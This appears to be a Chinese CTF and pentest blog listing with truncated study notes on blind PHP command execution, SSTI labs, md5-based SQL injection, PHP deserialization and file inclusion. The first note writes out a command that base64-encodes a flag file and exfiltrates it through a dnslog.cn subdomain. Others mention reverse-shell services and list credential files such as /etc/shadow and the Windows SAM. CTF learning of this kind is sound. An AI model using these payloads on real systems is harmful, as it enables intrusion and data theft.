PHP命令执行不回显
方法:
1.写入文件
1>:写入文件 最好写入.txt中
2.dns通道
http://dnslog.cn/
当文件内容过长时无法全部回带,可以使用sed -n部分回带
例子:
1url+?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.m1237r.dnslog.cn
3.当dns被过滤时,可以使用http通道:
https://requestrepo.com/
https://pipedream.com/
http://ceye.io/
4.反弹shell
还可以使用ctfshow专用反弹shell:https://your-shell.com/
5.时间盲注
ssti
记录一下ssti的学习
SSTI靶场搭建拉取docker镜像12cd /etc/dockervim docker.json//用国内的镜像源,如下编辑
生成容器自动探测
1sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local;bin/bash'
查看所有容器
1docker ps -a
关闭容器
1docker stop <CONTAINER ID>
开启容器
1docker start <CONTAINER ID>
管理网站自动探测
12345靶场页面http://IP:18080SSH用户名root 密码P@ssw0rd
python venv环境搭建安装venv
123python --versionapt updateapt instal python3.11 -venv
执行flask1路径下的python
flask应用介绍及搭建:Python flask 变量及方法flask模 ...
记一次kali重装
b
不小心把kali弄坏了,接这次重装,顺便记录一下安装kali后应该要做哪些工作
1.安装看这篇就够了
https://www.cnblogs.com/Jinx8823/p/17348656.html
2.安装完成后,设置root密码
3.改中文版
https://blog.csdn.net/m0_47431585/article/details/124232438
4.更换源
https://www.cnblogs.com/n5you/p/17467654.html
5.全局设置
https://zhuanlan.zhihu.com/p/461316494
无题
123456789title: 做题记录categories: - web - abbrlink: 2701date: YYYY-MM-DD HH:mm:sstags: - web -
[BJDCTF 2020]easy_md5
使用bp抓包发包可以得到hint
1hint:select * from 'admin' where password=md5($pass,true)
突破点在md5的用法
可以看到,如果raw这里是true,那么返回是是字符串的二进制格式
如果让md5值经过hex转换为字符串后为’or’+balabala,那么拼接后构成的SQL语句为
1select * from 'admin' where password=''or'balabala'
当or后面的值为true时,就可构成万能密码,从而实现SQL注入
在这里,我们需要知道MySQL的一个特性
在mysql里面,在用作布尔型判断时,or后面的字符型语句如果是以数字开头的,返回值就是true,即
12 ...
无题
php序列化和反序列化php访问修饰符:
可访问性
public
protected
private
类自身
√
√
√
类外部
√
×
×
子类
√
√
×
注释:在PHP类中不写访问修饰符默认的访问权限为public
什么是序列化?序列化是指将数据结构或对象转换为一串字节流的过程。使其可以在存储、传输或缓存时进行持久化。
什么是反序列化?反序列化是指将序列化后的数据进行解码和还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。
在 PHP 中,使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串。通过 unserialize() 函数可以将这个字符串进行反序列化,将其还原为原始的数据。
php对象的序列化:O:长度:“类名”:变量数:{变量类型:变量名长度:“变量名字”;变量的值;}
例如:
1O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";i:18;} ...
无题
NKCTF2024
my first cms进入admin登陆界面,爆破得到用户和密码:admin Admin123
根据提示,知道是cms漏洞
已知该cms是2.2.19版本,去上网翻翻cms2.2.19版本的漏洞,果真有
有现成的exp:https://vulners.com/zdt/1337DAY-ID-39356
直接复现:
世界上最简单的CTF
用dresearch扫描,访问 /secret 得到源码
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253const express = require('express');const bodyParser = require('body-parser');const app = express();const fs = require("fs");const path = require('path ...
kali-linux基础操作
linux系统命令/:系统根目录
ls:查看当前目录所存放的文件夹
ll:查看当前目录所存放的文件夹以及详情信息
cat :查看文件内容
pwd :查看当前路径
vi :相当于windows系统的文本编辑器
cd:进入所指定的文件夹,不能进入文件
更多Linux指令:https://www.runoob.com/linux/linux-command-manual.html
端口:传输数据的一个通道
vivi/vim键盘图
分类:基本上vi/vim共分为三种模式:命令模式、输入模式、底线命令模式
命令模式:用户刚刚启动vi/vim就进入了命令模式,
此状态下敲击键盘动作会被vim识别为命令,而不是输入字符。比如:我们此时按下i,并不会输入i字符,只是i被当作了一个命令
以下是常用的几个命令:
i 切换到输入模式
x 删除当前光标所在的字符
:切换到底线命令模式
输入模式:在命令行模式下按下i就进入了输入模式
按ESC退出输入模式
底线命令模式:在命令模式下按下:就进入了底线命令模式
基本的命令有
q 退出程序
w 保存文件
:Wq 保存推出模 ...
upload-labs靶场
靶场搭建
https://blog.csdn.net/qq_51331767/article/details/129196926
session文件包含
通过session包含的利用条件:
1、session文件路径已知
session路径可以通过phpinfo页面来获取,
session.save_path为/var/lib/php/session.
通过猜测默认的session的存放位置进行尝试
1234567session常用默认存储位置:Linux:/tmp 或 /var/lib/php/sessionWindows:C:\WINDOWS\Temp
2.且其中部分内容可控制
在默认的session的文件中,username后面的就是账号,那么能把这个账号控制变化,那么就能利用session包含。
常见系统配置文件
Windows系统常见敏感文件:
文件路径及名称
文件作用
c:\boot.ini
查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml
IIS配置文件
c:\windows\repair\sam
存储windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini
MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD
MySQL Root 密码
c:\window\php.ini
PHP配置信息
Linux系统常见敏感文件
文件路径及名称
文件作用
/etc/passwd
账户信息
/etc/shadow
加密的账户密码文件
/usr/local/app/apache2/conf/http.conf
Apache2默认配置文件
/usr/local/app/apache2 ...